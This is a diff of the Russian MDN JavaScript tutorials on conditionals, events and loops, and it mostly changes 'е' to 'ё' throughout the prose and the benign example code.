            В этом коде, как показано, всегда будет shoppingDone равный false, что означает разочарование для нашего бедного ребенка. Мы должны предоставить механизм для родителя, чтобы установить для переменной shoppingDone значение  true , если ребенок помог с покупками.

            +

            В этом коде, как показано, всегда будет shoppingDone равный false, что означает разочарование для нашего бедного ребёнка. Мы должны предоставить механизм для родителя, чтобы установить для переменной shoppingDone значение  true , если ребёнок помог с покупками.

            Примечание: Вы можете увидеть больше в полной версии этого примера на GitHub (также посмотреть как он работает вживую.)

            @@ -143,7 +143,7 @@ function setWeather() {
            1. Здесь у нас есть элемент HTML {{htmlelement("select")}} который позволяет нам выбирать разные варианты погоды и простой абзац.
              2. -
            2. В JavaScript мы создаем ссылки на элементы {{htmlelement("select")}} и {{htmlelement("p")}} и добавляем обработчик события элемента <select>, чтобы при его изменении значения запускалась функция setWeather().
              3. +
            3. В JavaScript мы создаём ссылки на элементы {{htmlelement("select")}} и {{htmlelement("p")}} и добавляем обработчик события элемента <select>, чтобы при его изменении значения запускалась функция setWeather().
            4. Когда функция будет запущена, первоначально мы определим значение переменной choice, которая равна выбранному значению в элементе  <select>. Затем мы используем условный оператор для отображения текста внутри абзаца в зависимости от того, какое значение у переменной  choice. Обратите внимание, как все условия проверяются в else if() {...} блоках, за исключением первого, который использует if() {...}блок.
            5. Последний выбор, внутри  else {...} блока, в основном является «последним средством» — код внутри него будет запущен, если ни одно из условий не будет true. В этом случае он служит для удаления текста из абзаца, если ничего не выбрано, например, если пользователь решает повторно выбрать опцию "--Сделайте выбор--" которая указана в начале.
            @@ -176,7 +176,7 @@ if (cheese) { console.log('Сегодня нет сыра для бутерброда.'); } -

            И, возвращаясь к нашему предыдущему примеру о ребенке, выполняющем поручение своего родителя, вы можете это записать так:

            +

            И, возвращаясь к нашему предыдущему примеру о ребёнке, выполняющем поручение своего родителя, вы можете это записать так:

            var shoppingDone = false;
 
@@ -188,7 +188,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true'
 
 
            Вложенность if ... else
            
 
-
            Вполне нормально использовать один условный оператор if...else внутри другого — вложить их. Например, мы могли бы обновить наше приложение прогноза погоды, чтобы показать еще один набор вариантов в зависимости от температуры:
            
+
            Вполне нормально использовать один условный оператор if...else внутри другого — вложить их. Например, мы могли бы обновить наше приложение прогноза погоды, чтобы показать ещё один набор вариантов в зависимости от температуры:
            
 
 
            if (choice === 'sunny') {
   if (temperature < 86) {
@@ -228,7 +228,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true'
   console.log('Вероятно, можно в нем оставаться.');
 }
            
 
-
            Последний тип логического оператора НЕ, выраженный ! оператором, можно использовать для отрицания выражения. Давайте объединим его с ИЛИ в приведенном выше примере:
            
+
            Последний тип логического оператора НЕ, выраженный ! оператором, можно использовать для отрицания выражения. Давайте объединим его с ИЛИ в приведённом выше примере:
            
 
 
            if (!(iceCreamVanOutside || houseStatus === 'on fire')) {
   console.log('Вероятно, можно в нем оставаться.');
@@ -236,7 +236,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true'
   console.log('Вы должны быстро покинуть дом.');
 }
            
 
-
            В этом фрагменте, если условие ИЛИ возвращает true, оператор НЕ будет отрицать это и выражение вернет false.
            
+
            В этом фрагменте, если условие ИЛИ возвращает true, оператор НЕ будет отрицать это и выражение вернёт false.
            
 
 
            Можно сочетать любое количество логических операторов, в любой последовательности и в любой комбинации. В следующем примере код в блоке будет выполняться только в том случае, если оба условия с ИЛИ возвращают true, а следовательно, и оператор И возвращает true:
            
 
@@ -244,13 +244,13 @@ if (shoppingDone) { // не нужно явно указывать '=== true'
   // код выполняется
 }
            -

            Распространенной ошибкой при использовании логического оператора ИЛИ в условном выражении является указание переменной, значение которой нужно проверить со списком возможных значений этой переменной, разделенных операторами || (ИЛИ). Например.

            +

            Распространённой ошибкой при использовании логического оператора ИЛИ в условном выражении является указание переменной, значение которой нужно проверить со списком возможных значений этой переменной, разделённых операторами || (ИЛИ). Например.

            if (x === 5 || 7 || 10 || 20) {
   // выполнить код
 }
            -

            В данном примере условие в if(...)  всегда будет оцениваться как true, поскольку 7 (или любое другое ненулевое значение) всегда будет оцениваться как true. Фактически, это условие гласит «если х равен 5, или 7 является true». Но нам требуется совсем не это. Чтобы достичь нужной цели, придется выполнять полноценную проверку после каждого оператора ИЛИ:

            +

            В данном примере условие в if(...)  всегда будет оцениваться как true, поскольку 7 (или любое другое ненулевое значение) всегда будет оцениваться как true. Фактически, это условие гласит «если х равен 5, или 7 является true». Но нам требуется совсем не это. Чтобы достичь нужной цели, придётся выполнять полноценную проверку после каждого оператора ИЛИ:

            if (x === 5 || x === 7 || x === 10 ||x === 20) {
   // выполнить код
@@ -258,7 +258,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true'
 
 
            Оператор switch
            
 
-
            Выражения if...else отлично справляются с добавлением условного кода, однако они не лишены недостатков. Они хорошо подходят для ситуации, когда имеется всего пара вариантов развития событий, каждый из которых имеет блок с приемлемым количеством кода, а также в случаях, когда условие является довольно сложным и включает несколько логических операторов. Если же нам требуется всего лишь задать переменную для определенного выбранного значения или напечатать конкретную фразу при определенном условии, изученный нами синтаксис может оказаться довольно громоздким, особенно если имеется большое количество вариантов выбора.
            
+
            Выражения if...else отлично справляются с добавлением условного кода, однако они не лишены недостатков. Они хорошо подходят для ситуации, когда имеется всего пара вариантов развития событий, каждый из которых имеет блок с приемлемым количеством кода, а также в случаях, когда условие является довольно сложным и включает несколько логических операторов. Если же нам требуется всего лишь задать переменную для определённого выбранного значения или напечатать конкретную фразу при определённом условии, изученный нами синтаксис может оказаться довольно громоздким, особенно если имеется большое количество вариантов выбора.
            
 
 
            В этом случае нам поможет оператор switch – он принимает одно единственное выражение или значение, а затем просматривает ряд вариантов, пока не найдут вариант, соответствующий этому значению, после чего выполняет код, назначенный этому варианту. Вот пример использования этого оператора:
            
 
@@ -284,13 +284,13 @@ if (shoppingDone) { // не нужно явно указывать '=== true'
  
          10. В скобках приводится выражение или значение.
            11. 
  
          11. Ключевое слово case, за которым следует вариант выбора (именно он проверяется на соответствие выражению или значению) и двоеточие.
            12. 
  
          12. Код, который будет выполняться, если вариант совпадает с выражением.
            13. 
- 
          13. Оператор break, за которым следует точка с запятой. Если вариант совпал с выражением или значением, браузер закончит выполнять блок кода, дойдя до оператора break, и перейдет к выполнению кода, расположенного после оператора switch.
            14. 
+ 
          14. Оператор break, за которым следует точка с запятой. Если вариант совпал с выражением или значением, браузер закончит выполнять блок кода, дойдя до оператора break, и перейдёт к выполнению кода, расположенного после оператора switch.
            15. 
  
          15. Вариантов выбора (пункты 3–5) может быть сколь угодно много.
            16. 
  
          16. Ключевое слово default используется точно также, как любой другой вариант выбора (пункты 3–5) за тем исключением, что после default нет других вариантов выбора, поэтому инструкция break не требуется, никакого кода дальше нет. Это вариант выбора по умолчанию, выбираемый, если ни один из других вариантов не совпал с выражением.
            17. 
 
 
 
            
-
            Примечание. Вариант выбора default может быть пропущен, если выражение гарантированно совпадет с одним из вариантов выбора. В противном случае вариант default необходим.
            
+
            Примечание. Вариант выбора default может быть пропущен, если выражение гарантированно совпадёт с одним из вариантов выбора. В противном случае вариант default необходим.
            
 
            
 
 
            Пример оператора switch
            
@@ -325,7 +325,7 @@ function setWeather() {
       para.textContent = 'На улице дождь. Возьмите плащ и зонт, и не гуляйте слишком долго';
       break;
     case 'snowing':
-      para.textContent = 'Идет снег - морозно! Лучше всего посидеть с чашкой горячего шоколада или слепить снеговика.';
+      para.textContent = 'Идёт снег - морозно! Лучше всего посидеть с чашкой горячего шоколада или слепить снеговика.';
       break;
     case 'overcast':
       para.textContent = 'Дождя нет, но небо серое и мрачное; он все может измениться в любую минуту, поэтому на всякий случай возьмите дождевик.';
@@ -343,15 +343,15 @@ function setWeather() {
 
 
            Тернарный оператор
            
 
-
            Это последний теоретический раздел данной статьи и мы перейдем к практическим упражнениям. Тернарный или условный оператор имеет простой синтаксис: он проверяет условие и возвращает одно значение или выражение, если условие является true, и другое значение/выражение, если условие является false. Часто это очень удобная альтернатива блоку if...else, позволяющая затрачивать меньшие усилия на написание кода, когда имеется всего лишь два варианта, выбираемых на основе условия true/false. Общая схема оператора:
            
+
            Это последний теоретический раздел данной статьи и мы перейдём к практическим упражнениям. Тернарный или условный оператор имеет простой синтаксис: он проверяет условие и возвращает одно значение или выражение, если условие является true, и другое значение/выражение, если условие является false. Часто это очень удобная альтернатива блоку if...else, позволяющая затрачивать меньшие усилия на написание кода, когда имеется всего лишь два варианта, выбираемых на основе условия true/false. Общая схема оператора:
            
 
 
            ( условие) ? выполнить этот код : выполнить этот код вместо первого
            
 
-
            Приведем простой пример:
            
+
            Приведём простой пример:
            
 
-
            var greeting = ( isBirthday ) ? 'С днем рождения, г-н Кузнецов! Хорошо Вам повеселиться!' : 'Доброе утро, г-н Кузнецов.';
            
+
            var greeting = ( isBirthday ) ? 'С днём рождения, г-н Кузнецов! Хорошо Вам повеселиться!' : 'Доброе утро, г-н Кузнецов.';
            
 
-
            У нас есть переменная isBirthday , если она true, мы отправляем посетителю поздравление с днем рождения; если нет – выдаем стандартное приветствие.
            
+
            У нас есть переменная isBirthday , если она true, мы отправляем посетителю поздравление с днём рождения; если нет – выдаём стандартное приветствие.
            
 
 
            Пример тернарного оператора
            
 
@@ -360,7 +360,7 @@ function setWeather() {
 
            <label for="theme">Выберите тему: </label>
 <select id="theme">
   <option value="white">Белая</option>
-  <option value="black">Черная</option>
+  <option value="black">Чёрная</option>
 </select>
 
 <h1>Это мой веб-сайт</h1>
            
@@ -381,9 +381,9 @@ select.onchange = function() {
 
 
            {{ EmbedLiveSample('Пример_тернарного_оператора', '100%', 300) }}
            
 
-
            Мы используем элемент {{htmlelement('select')}} для выбора темы (черная или белая), а также простой {{htmlelement('h1')}} для отображения заголовка веб-сайта. Кроме того, у нас есть функция update(), принимающая в качестве параметров (входных данных) два цвета. В качестве фона используется первый переданный цвет, а в качестве цвета текста – второй переданный цвет.
            
+
            Мы используем элемент {{htmlelement('select')}} для выбора темы (чёрная или белая), а также простой {{htmlelement('h1')}} для отображения заголовка веб-сайта. Кроме того, у нас есть функция update(), принимающая в качестве параметров (входных данных) два цвета. В качестве фона используется первый переданный цвет, а в качестве цвета текста – второй переданный цвет.
            
 
-
            Наконец, у нас есть обработчик событий onchange , использующийся для запуска функции, содержащей тернарный оператор. Сначала она проверяет условие — select.value === 'black'. Если возвращается true, мы запускаем функцию update() с параметрами черного и белого, в результате чего получаем черный цвет фона и белый цвет текста. Если возвращается false, мы запускаем функцию update() с параметрами белого и черного, в результате чего цвета веб-сайта меняются на противоположные.
            
+
            Наконец, у нас есть обработчик событий onchange , использующийся для запуска функции, содержащей тернарный оператор. Сначала она проверяет условие — select.value === 'black'. Если возвращается true, мы запускаем функцию update() с параметрами чёрного и белого, в результате чего получаем чёрный цвет фона и белый цвет текста. Если возвращается false, мы запускаем функцию update() с параметрами белого и чёрного, в результате чего цвета веб-сайта меняются на противоположные.
            
 
 
            
 
            Note: Вы можете найти этот пример на GitHub (также увидеть как он работает.)
            
@@ -602,8 +602,8 @@ textarea.onkeyup = function(){
 
 
              
  
            • Она должна принимать переменную choice в качестве входного выражения.
              • 
- 
            • Каждый элемент case должен содержать вариант выбора, соответствующий одному из доступных для выбора значений: белая, черная, лиловая, желтая или психоделическая тема.
              • 
- 
            • В блоке каждого элемента case необходимо вызывать функцию update(), которой передается два цвета: первый – это цвет фона, а второй – цвет текста. Помните, что значения цветов – это строковые значения, поэтому их нужно заключать в кавычки.
              • 
+ 
            • Каждый элемент case должен содержать вариант выбора, соответствующий одному из доступных для выбора значений: белая, чёрная, лиловая, жёлтая или психоделическая тема.
              • 
+ 
            • В блоке каждого элемента case необходимо вызывать функцию update(), которой передаётся два цвета: первый – это цвет фона, а второй – цвет текста. Помните, что значения цветов – это строковые значения, поэтому их нужно заключать в кавычки.
              • 
 
            
 
 
            Если допустили ошибку, используйте кнопку «Сброс», чтобы вернуться к исходному виду примера. Если у вас совсем ничего не получается, нажмите «Показать решение».
            
@@ -615,9 +615,9 @@ textarea.onkeyup = function(){
   <label for="theme">Выберите тему: </label>
   <select id="theme">
     <option value="white">Белая</option>
-    <option value="black">Черная</option>
+    <option value="black">Чёрная</option>
     <option value="purple">Лиловая</option>
-    <option value="yellow">Желтая</option>
+    <option value="yellow">Жёлтая</option>
     <option value="psychedelic">Психоделическая</option>
   </select>
 
@@ -732,7 +732,7 @@ updateCode();
 
 
            Заключение
            
 
-
            Это все, что вам нужно знать на данный момент об условных логических структурах! Уверены, вы хорошо разобрались в теоретическом материале и с легкостью справились с предложенными упражнениями. Если же что-то осталось для вас непонятным, перечитайте статью еще раз или свяжитесь с нами.
            
+
            Это все, что вам нужно знать на данный момент об условных логических структурах! Уверены, вы хорошо разобрались в теоретическом материале и с лёгкостью справились с предложенными упражнениями. Если же что-то осталось для вас непонятным, перечитайте статью ещё раз или свяжитесь с нами.
            
 
 
            См. также
            
 
diff --git a/files/ru/learn/javascript/building_blocks/events/index.html b/files/ru/learn/javascript/building_blocks/events/index.html
index 054bc58159..287430e632 100644
--- a/files/ru/learn/javascript/building_blocks/events/index.html
+++ b/files/ru/learn/javascript/building_blocks/events/index.html
@@ -30,14 +30,14 @@ original_slug: Learn/JavaScript/Building_blocks/События
 
 
            Серия удачных событий
            
 
-
            При возникновении события система генерирует сигнал, а также предоставляет механизм, с помощью которого можно автоматически предпринимать какие-либо действия (например, выполнить определенный код), когда происходит событие. Например, в аэропорту, когда взлетно-посадочная полоса свободна для взлета самолета, сигнал передается пилоту, и в результате они приступают к взлету.
            
+
            При возникновении события система генерирует сигнал, а также предоставляет механизм, с помощью которого можно автоматически предпринимать какие-либо действия (например, выполнить определённый код), когда происходит событие. Например, в аэропорту, когда взлётно-посадочная полоса свободна для взлёта самолёта, сигнал передаётся пилоту, и в результате они приступают к взлету.
            
 
 
            
 
 
            В Web события запускаются внутри окна браузера и, как правило, прикрепляются к конкретному элементу, который в нем находится. Это может быть один элемент, набор элементов, документ HTML, загруженный на текущей вкладке, или все окно браузера. Существует множество различных видов событий, которые могут произойти, например:
            
 
 
              
- 
            • Пользователь кликает мышью или наводит курсор на определенный элемент.
              • 
+ 
            • Пользователь кликает мышью или наводит курсор на определённый элемент.
              • 
  
            • Пользователь нажимает клавишу на клавиатуре.
              • 
  
            • Пользователь изменяет размер или закрывает окно браузера.
              • 
  
            • Завершение загрузки веб-страницы.
              • 
@@ -48,7 +48,7 @@ original_slug: Learn/JavaScript/Building_blocks/События
 
 
              Подробнее о событиях можно посмотреть в Справочнике по событиям.
              
 
-
              Каждое доступное событие имеет обработчик событий — блок кода (обычно это функция JavaScript, вводимая вами в качестве разработчика), который будет запускаться при срабатывании события. Когда такой блок кода определен на запуск в ответ на возникновение события, мы говорим, что мы регистрируем обработчик событий. Обратите внимание, что обработчики событий иногда называют слушателями событий (от англ. event listeners). Они в значительной степени взаимозаменяемы для наших целей, хотя, строго говоря, они работают вместе. Слушатель отслеживает событие, а обработчик — это код, который запускается в ответ на событие.
              
+
              Каждое доступное событие имеет обработчик событий — блок кода (обычно это функция JavaScript, вводимая вами в качестве разработчика), который будет запускаться при срабатывании события. Когда такой блок кода определён на запуск в ответ на возникновение события, мы говорим, что мы регистрируем обработчик событий. Обратите внимание, что обработчики событий иногда называют слушателями событий (от англ. event listeners). Они в значительной степени взаимозаменяемы для наших целей, хотя, строго говоря, они работают вместе. Слушатель отслеживает событие, а обработчик — это код, который запускается в ответ на событие.
              
 
 
              
 
              Примечание: Важно отметить, что веб-события не являются частью основного языка JavaScript. Они определены как часть JavaScript-API, встроенных в браузер.
              
@@ -77,9 +77,9 @@ btn.onclick = function() {
   document.body.style.backgroundColor = rndCol;
 }
            -

            В этом коде мы сохраняем ссылку на кнопку внутри переменной btn типа const, используя функцию {{domxref ("Document.querySelector()")}}. Мы также определяем функцию, которая возвращает случайное число. Третья часть кода — обработчик события. Переменная btn указывает на элемент <button> — для этого типа объекта существуют возникающие при определенном взаимодействии с ним события, а значит, возможно использование обработчиков событий. Мы отслеживаем момент возникновения события при щелчке мышью, связывая свойство обработчика события onclick с анонимной функцией, генерирующей случайный цвет RGB и устанавливающей его в качестве цвета фона элемента <body>.

            +

            В этом коде мы сохраняем ссылку на кнопку внутри переменной btn типа const, используя функцию {{domxref ("Document.querySelector()")}}. Мы также определяем функцию, которая возвращает случайное число. Третья часть кода — обработчик события. Переменная btn указывает на элемент <button> — для этого типа объекта существуют возникающие при определённом взаимодействии с ним события, а значит, возможно использование обработчиков событий. Мы отслеживаем момент возникновения события при щелчке мышью, связывая свойство обработчика события onclick с анонимной функцией, генерирующей случайный цвет RGB и устанавливающей его в качестве цвета фона элемента <body>.

            -

            Этот код теперь будет запускаться всякий раз, когда возникает событие при нажатии на элемент <button> — всякий раз, когда пользователь щелкает по нему.

            +

            Этот код теперь будет запускаться всякий раз, когда возникает событие при нажатии на элемент <button> — всякий раз, когда пользователь щёлкает по нему.

            Пример вывода выглядит следующим образом:

            @@ -101,7 +101,7 @@ btn.onclick = function() {

            Свойства обработчика событий

            -

            В этом курсе вы уже сталкивались со свойствами, связываемыми с алгоритмом работы обработчика событий. Вернемся к приведенному выше примеру:

            +

            В этом курсе вы уже сталкивались со свойствами, связываемыми с алгоритмом работы обработчика событий. Вернёмся к приведённому выше примеру:

            const btn = document.querySelector('button');
 
@@ -125,7 +125,7 @@ btn.onclick = bgChange;

            Давайте теперь поэкспериментируем с другими свойствами обработчика событий.

            -

            Создайте локальную копию файла random-color-eventhandlerproperty.html и откройте ее в своем браузере. Это всего лишь копия простого примера про случайные цвета, который мы уже разобрали в этой статье. Теперь попробуйте изменить btn.onclick на следующие значения и понаблюдайте за результатами:

            +

            Создайте локальную копию файла random-color-eventhandlerproperty.html и откройте её в своём браузере. Это всего лишь копия простого примера про случайные цвета, который мы уже разобрали в этой статье. Теперь попробуйте изменить btn.onclick на следующие значения и понаблюдайте за результатами:

            • btn.onfocus и btn.onblur — Цвет изменится, когда кнопка будет сфокусирована или не сфокусирована (попробуйте нажать Tab, чтобы выбрать кнопку или убрать выбор). Эти свойства часто применяются для отображения информации о том, как заполнить поля формы, когда они сфокусированы, или отобразить сообщение об ошибке, если поле формы было заполнено с неправильным значением.
              • @@ -134,11 +134,11 @@ btn.onclick = bgChange;
            • btn.onmouseover и btn.onmouseout — Цвет будет меняться при наведении указателя мыши на кнопку или когда указатель будет отводиться от кнопки соответственно.
            -

            Некоторые события очень общие и доступны практически в любом месте (например, обработчик onclick может быть зарегистрирован практически для любого элемента), тогда как некоторые из них более конкретны и полезны только в определенных ситуациях (например, имеет смысл использовать onplay только для определенных элементов, таких как {{htmlelement ("video")}}).

            +

            Некоторые события очень общие и доступны практически в любом месте (например, обработчик onclick может быть зарегистрирован практически для любого элемента), тогда как некоторые из них более конкретны и полезны только в определённых ситуациях (например, имеет смысл использовать onplay только для определённых элементов, таких как {{htmlelement ("video")}}).

            Встроенные обработчики событий - не используйте их

            -

            Самый ранний из введенных в сеть Web методов регистрации обработчиков событий базируется на HTML атрибутах (встроенные обработчики событий):

            +

            Самый ранний из введённых в сеть Web методов регистрации обработчиков событий базируется на HTML атрибутах (встроенные обработчики событий):

            <button onclick="bgChange()">Press me</button>
            @@ -152,7 +152,7 @@ btn.onclick = bgChange;

            Примечание: Вы можете найти полный исходник кода из этого примера на GitHub (также взгляните на его выполнение).

            -

            Значение атрибута —  это буквально код JavaScript, который вы хотите запустить при возникновении события. В приведенном выше примере вызывается функция, определенная внутри элемента {{htmlelement ("script")}} на той же странице, но вы также можете вставить JavaScript непосредственно внутри атрибута, например:

            +

            Значение атрибута —  это буквально код JavaScript, который вы хотите запустить при возникновении события. В приведённом выше примере вызывается функция, определённая внутри элемента {{htmlelement ("script")}} на той же странице, но вы также можете вставить JavaScript непосредственно внутри атрибута, например:

            <button onclick="alert('Hello, this is my old-fashioned event handler!');">Press me</button>
            @@ -182,7 +182,7 @@ for (var i = 0; i < buttons.length; i++) {

            Функции addEventListener() и removeEventListener()

            -

            Новый тип механизма событий определен в спецификации Document Object Model (DOM) Level 2 Events, которая предоставляет браузеру новую функцию — addEventListener(). Работает она аналогично свойствам обработчика событий, но синтаксис совсем другой. Наш пример со случайным цветом мог бы выглядеть и так:

            +

            Новый тип механизма событий определён в спецификации Document Object Model (DOM) Level 2 Events, которая предоставляет браузеру новую функцию — addEventListener(). Работает она аналогично свойствам обработчика событий, но синтаксис совсем другой. Наш пример со случайным цветом мог бы выглядеть и так:

            var btn = document.querySelector('button');
 
@@ -204,7 +204,7 @@ btn.addEventListener('click', bgChange);
            document.body.style.backgroundColor = rndCol; }); -

            Этот механизм имеет некоторые преимущества по сравнению с более старыми механизмами, рассмотренными ранее. Например, существует аналогичная функция removeEventListener(), которая удаляет ранее добавленный обработчик. Это приведет к удалению набора обработчиков в первом блоке кода в этом разделе:

            +

            Этот механизм имеет некоторые преимущества по сравнению с более старыми механизмами, рассмотренными ранее. Например, существует аналогичная функция removeEventListener(), которая удаляет ранее добавленный обработчик. Это приведёт к удалению набора обработчиков в первом блоке кода в этом разделе:

            btn.removeEventListener('click', bgChange);
            @@ -226,13 +226,13 @@ myElement.addEventListener('click', functionB);

            Какой механизм мне использовать?

            -

            Из трех механизмов определенно не нужно использовать атрибуты событий HTML. Как упоминалось выше, это устаревшая и плохая практика.

            +

            Из трёх механизмов определённо не нужно использовать атрибуты событий HTML. Как упоминалось выше, это устаревшая и плохая практика.

            Остальные два являются относительно взаимозаменяемыми, по крайней мере для простых целей

              -
            • Свойства обработчика событий имеют меньшую мощность и параметры, но лучше совместимость между браузерами (поддерживается еще в Internet Explorer 8). Вероятно, вам следует начать с них, когда вы учитесь.
              • -
            • События уровня 2 DOM (addEventListener() и т. д.) являются более мощными, но также могут стать более сложными и хуже поддерживаться (поддерживается еще в Internet Explorer 9). Вам также стоит поэкспериментировать с ними и стремиться использовать их там, где это возможно.
              • +
            • Свойства обработчика событий имеют меньшую мощность и параметры, но лучше совместимость между браузерами (поддерживается ещё в Internet Explorer 8). Вероятно, вам следует начать с них, когда вы учитесь.
              • +
            • События уровня 2 DOM (addEventListener() и т. д.) являются более мощными, но также могут стать более сложными и хуже поддерживаться (поддерживается ещё в Internet Explorer 9). Вам также стоит поэкспериментировать с ними и стремиться использовать их там, где это возможно.

            Основные преимущества третьего механизма заключаются в том, что при необходимости можно удалить код обработчика событий, используя removeEventListener(), и так же можно добавить несколько элементов-обработчиков того же типа к элементам. Например, вы можете вызвать addEventListener('click', function() {...}) для элемента несколько раз, с разными функциями, указанными во втором аргументе. Это невозможно при использовании свойств обработчика событий, поскольку любые последующие попытки установить свойство будут перезаписывать более ранние, например:

            @@ -251,7 +251,7 @@ etc.

               Объекты событий

            -

            Иногда внутри функции обработчика событий вы можете увидеть параметр, заданный с таким именем, как event, evt или просто e. Называется он объектом события и он автоматически передается обработчикам событий для предоставления дополнительных функций и информации. Например, давайте немного перепишем наш пример со случайным цветом:

            +

            Иногда внутри функции обработчика событий вы можете увидеть параметр, заданный с таким именем, как event, evt или просто e. Называется он объектом события и он автоматически передаётся обработчикам событий для предоставления дополнительных функций и информации. Например, давайте немного перепишем наш пример со случайным цветом:

            function bgChange(e) {
   var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
@@ -271,7 +271,7 @@ btn.addEventListener('click', bgChange);

            Примечание: Вместо e/evt/event можно использовать любое имя для объекта события, которое затем можно использовать для ссылки на него в функции обработчика событий. e/evt/event чаще всего используются разработчиками, потому что они короткие и легко запоминаются. И хорошо придерживаться стандарта.

            -

            e.target применяют, когда нужно установить один и тот же обработчик событий на несколько элементов и, когда на них происходит событие, применить определенное действие к ним ко всем. Например, у вас может быть набор из 16 плиток, которые исчезают при нажатии. Полезно всегда иметь возможность просто указать, чтобы объект исчез, как e.target, вместо того, чтобы выбирать его более сложным способом. В следующем примере (см. исходный код на  useful-eventtarget.html,а как он работает можно посмотреть здесь), мы создаем 16 элементов {{htmlelement ("div")}} с использованием JavaScript. Затем мы выберем все из них, используя {{domxref ("document.querySelectorAll()")}}, и с помощью цикла for выберем каждый из них, добавив обработчик onclick к каждому так, чтобы случайный цвет применялся к каждому клику:

            +

            e.target применяют, когда нужно установить один и тот же обработчик событий на несколько элементов и, когда на них происходит событие, применить определённое действие к ним ко всем. Например, у вас может быть набор из 16 плиток, которые исчезают при нажатии. Полезно всегда иметь возможность просто указать, чтобы объект исчез, как e.target, вместо того, чтобы выбирать его более сложным способом. В следующем примере (см. исходный код на  useful-eventtarget.html,а как он работает можно посмотреть здесь), мы создаём 16 элементов {{htmlelement ("div")}} с использованием JavaScript. Затем мы выберем все из них, используя {{domxref ("document.querySelectorAll()")}}, и с помощью цикла for выберем каждый из них, добавив обработчик onclick к каждому так, чтобы случайный цвет применялся к каждому клику:

            var divs = document.querySelectorAll('div');
 
@@ -281,7 +281,7 @@ for (var i = 0; i < divs.length; i++) {
   }
 }
            -

            Результат выглядит следующим образом (попробуйте щелкнуть по нему):

            +

            Результат выглядит следующим образом (попробуйте щёлкнуть по нему):

            -

            Важно: С циклом for, также как и с другими циклами, вы должны убедиться что инициализатор (счетчик) и окончательное выражение построены так, что они достигнут условия выхода. Если этого не произойдет, то цикл будет продолжаться вечно. В итоге браузер или заставит его остановиться, или выдаст ошибку. Это называется бесконечным циклом.

            +

            Важно: С циклом for, также как и с другими циклами, вы должны убедиться что инициализатор (счётчик) и окончательное выражение построены так, что они достигнут условия выхода. Если этого не произойдёт, то цикл будет продолжаться вечно. В итоге браузер или заставит его остановиться, или выдаст ошибку. Это называется бесконечным циклом.

            Выход из цикла с помощью break

            -

            Если вы хотите выйти из цикла до завершения всех итераций, вы можете использовать оператор break . Мы уже встречались с ним в предыдущей статье, когда рассматривали оператор switch: когда происходит событие, соответствующее условию, прописанному ключевым словом case внутри оператора switch, условие break моментально выходит из конструкции switch и запускает следующий после нее код.

            +

            Если вы хотите выйти из цикла до завершения всех итераций, вы можете использовать оператор break . Мы уже встречались с ним в предыдущей статье, когда рассматривали оператор switch: когда происходит событие, соответствующее условию, прописанному ключевым словом case внутри оператора switch, условие break моментально выходит из конструкции switch и запускает следующий после неё код.

            Тоже самое и с циклами — условие break моментально закончит цикл и заставит браузер запустить следующий после цикла код.

            Предположим, в массиве данных мы хотим найти имена контактов и телефонные номера, а вернуть только номер, который мы нашли.
            - Начнем с разметки HTML: поле {{htmlelement("input")}} позволяет нам ввести имя для поиска, элемент (кнопка) {{htmlelement("button")}} для подтверждения поиска, и элемент {{htmlelement("p")}} для отображения результата:

            + Начнём с разметки HTML: поле {{htmlelement("input")}} позволяет нам ввести имя для поиска, элемент (кнопка) {{htmlelement("button")}} для подтверждения поиска, и элемент {{htmlelement("p")}} для отображения результата:

            <label for="search">Поиск по имени: </label>
 <input id="search" type="text">
@@ -370,16 +370,16 @@ btn.addEventListener('click', function() {
 
              
  
            1. Прежде всего у нас определены некоторые переменные: у нас есть массив с контактной информацией, каждый элемент которого это строка, содержащая в себе имя и номер телефона, которые разделены двоеточием.
              2. 
  
            2. Далее мы применяем обработчик события кнопки (btn), чтобы при её нажатии запускался код для поиска и отображения результатов.
              3. 
- 
            3. Мы сохраняем значение, введенное в текстовое поле, в переменную  searchName, затем очищаем введенный текст и снова фокусируемся на текстовом поле для нового поиска.
              4. 
- 
            4. Теперь перейдем к интересующей нас части — к циклу for:
+ 
            5. Мы сохраняем значение, введённое в текстовое поле, в переменную  searchName, затем очищаем введённый текст и снова фокусируемся на текстовом поле для нового поиска.
              6. 
+ 
            6. Теперь перейдём к интересующей нас части — к циклу for:
   
                
-   
              1. Мы начали счетчик с 0, запускаем цикл до тех пор, пока счетчик всё ещё меньше, чем contacts.length, а инкремент i увеличиваем на 1 после каждой итерации цикла.
                2. 
+   
              2. Мы начали счётчик с 0, запускаем цикл до тех пор, пока счётчик всё ещё меньше, чем contacts.length, а инкремент i увеличиваем на 1 после каждой итерации цикла.
                3. 
    
              3. Внутри цикла мы сначала разделяем текущий контакт (contacts[i]) на символе двоеточия, и сохраняем полученные два значения в массиве с  названием splitContact.
                4. 
-   
              4. Затем мы используем условный оператор, чтобы проверить, равно ли splitContact[0] (имя контакта) введенному searchName. Если это так, мы выводим строку в абзац, чтобы сообщить, каков номер контакта, и используем break для завершения цикла.
                5. 
+   
              5. Затем мы используем условный оператор, чтобы проверить, равно ли splitContact[0] (имя контакта) введённому searchName. Если это так, мы выводим строку в абзац, чтобы сообщить, каков номер контакта, и используем break для завершения цикла.
                6. 
   
              
  
              7. 
  
            7. 
-  
              После итерации (contacts.length-1), если имя контакта не совпадает с введенным именем в поисковом запросе, для текста абзаца устанавливается: «Контакт не найден.», и цикл продолжает повторяться.
              
+  
              После итерации (contacts.length-1), если имя контакта не совпадает с введённым именем в поисковом запросе, для текста абзаца устанавливается: «Контакт не найден.», и цикл продолжает повторяться.
              
  
              8. 
 
            
 
@@ -457,9 +457,9 @@ for (var i = 1; i <= num; i++) {
 
            {{ EmbedLiveSample('Hidden_code_4', '100%', 100) }}
            
 
 
              
- 
            1. В этом случае на входе должно быть число (num). Циклу for присваивается счетчик, начинающийся с 1 (поскольку в данном случае нас не интересует 0), условие выхода, которое говорит, что цикл остановится, когда счетчик станет больше входного num, а итератор добавляет 1 к счетчику каждый раз.
              2. 
- 
            2. Внутри цикла мы находим квадратный корень каждого числа с помощью Math.sqrt(i), а затем проверяем, является ли квадратный корень целым числом, проверяя, совпадает ли он с самим собой, когда он был округлен до ближайшего целого числа (это то, что Math.floor () делает с числом, которое передает).
              3. 
- 
